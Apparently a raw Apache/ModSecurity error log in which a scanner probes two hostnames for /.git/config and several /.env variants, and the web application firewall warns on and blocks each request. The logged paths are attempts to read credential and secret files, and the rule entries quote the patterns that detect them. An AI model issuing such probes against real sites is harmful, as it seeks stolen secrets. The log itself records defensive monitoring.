[Mon Oct 26 02:12:46.563514 2026] [security2:error] [pid 2978298:tid 2978298] [client 43.156.79.172:48750] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7vXkWLg2gbRhOJIF01qAAAABE"]
[Mon Oct 26 02:12:54.544190 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.209.187.99:29542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:04.431944 2026] [ssl:error] [pid 2978298:tid 2978298] (70014)End of file found: [client 23.21.148.226:61786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:13.801911 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7vecsSJ_JPXSgPpTUBzgAAAA4"]
[Mon Oct 26 02:13:13.802188 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7vecsSJ_JPXSgPpTUBzgAAAA4"]
[Mon Oct 26 02:13:13.802515 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7vecsSJ_JPXSgPpTUBzgAAAA4"]
[Mon Oct 26 02:13:13.860477 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7veZMnyYq70WIUET3rywAAABc"]
[Mon Oct 26 02:13:13.860723 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7veZMnyYq70WIUET3rywAAABc"]
[Mon Oct 26 02:13:13.861042 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7veZMnyYq70WIUET3rywAAABc"]
[Mon Oct 26 02:13:14.278737 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7vessSJ_JPXSgPpTUB0AAAAA4"]
[Mon Oct 26 02:13:14.278987 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7vessSJ_JPXSgPpTUB0AAAAA4"]
[Mon Oct 26 02:13:14.279291 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7vessSJ_JPXSgPpTUB0AAAAA4"]
[Mon Oct 26 02:13:14.313450 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7vepMnyYq70WIUET3rzQAAABc"]
[Mon Oct 26 02:13:14.313664 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7vepMnyYq70WIUET3rzQAAABc"]
[Mon Oct 26 02:13:14.313951 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7vepMnyYq70WIUET3rzQAAABc"]
[Mon Oct 26 02:13:14.520760 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7vessSJ_JPXSgPpTUB0QAAAA4"]
[Mon Oct 26 02:13:14.521016 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7vessSJ_JPXSgPpTUB0QAAAA4"]
[Mon Oct 26 02:13:14.521280 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7vessSJ_JPXSgPpTUB0QAAAA4"]
[Mon Oct 26 02:13:14.521414 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 34.231.181.240:46630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:14.531076 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7vepMnyYq70WIUET3rzgAAABc"]
[Mon Oct 26 02:13:14.531275 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7vepMnyYq70WIUET3rzgAAABc"]
[Mon Oct 26 02:13:14.531531 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7vepMnyYq70WIUET3rzgAAABc"]
[Mon Oct 26 02:13:14.737395 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7vessSJ_JPXSgPpTUB0gAAAA4"]
[Mon Oct 26 02:13:14.737637 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7vessSJ_JPXSgPpTUB0gAAAA4"]
[Mon Oct 26 02:13:14.737950 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7vessSJ_JPXSgPpTUB0gAAAA4"]
[Mon Oct 26 02:13:14.742363 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7vepMnyYq70WIUET3rzwAAABc"]
[Mon Oct 26 02:13:14.742521 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7vepMnyYq70WIUET3rzwAAABc"]
[Mon Oct 26 02:13:14.742744 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7vepMnyYq70WIUET3rzwAAABc"]
[Mon Oct 26 02:13:14.967191 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7vessSJ_JPXSgPpTUB0wAAAA4"]
[Mon Oct 26 02:13:14.967438 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7vessSJ_JPXSgPpTUB0wAAAA4"]
[Mon Oct 26 02:13:14.967732 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7vessSJ_JPXSgPpTUB0wAAAA4"]
[Mon Oct 26 02:13:14.974126 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7vepMnyYq70WIUET3r0AAAABc"]
[Mon Oct 26 02:13:14.974307 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7vepMnyYq70WIUET3r0AAAABc"]
[Mon Oct 26 02:13:14.974524 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7vepMnyYq70WIUET3r0AAAABc"]
[Mon Oct 26 02:13:15.187679 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7ve8sSJ_JPXSgPpTUB1AAAAA4"]
[Mon Oct 26 02:13:15.187954 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7ve8sSJ_JPXSgPpTUB1AAAAA4"]
[Mon Oct 26 02:13:15.188310 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7ve8sSJ_JPXSgPpTUB1AAAAA4"]
[Mon Oct 26 02:13:15.189964 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7ve5MnyYq70WIUET3r0QAAABc"]
[Mon Oct 26 02:13:15.190139 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7ve5MnyYq70WIUET3r0QAAABc"]
[Mon Oct 26 02:13:15.190427 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7ve5MnyYq70WIUET3r0QAAABc"]
[Mon Oct 26 02:13:15.404785 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7ve5MnyYq70WIUET3r0gAAABc"]
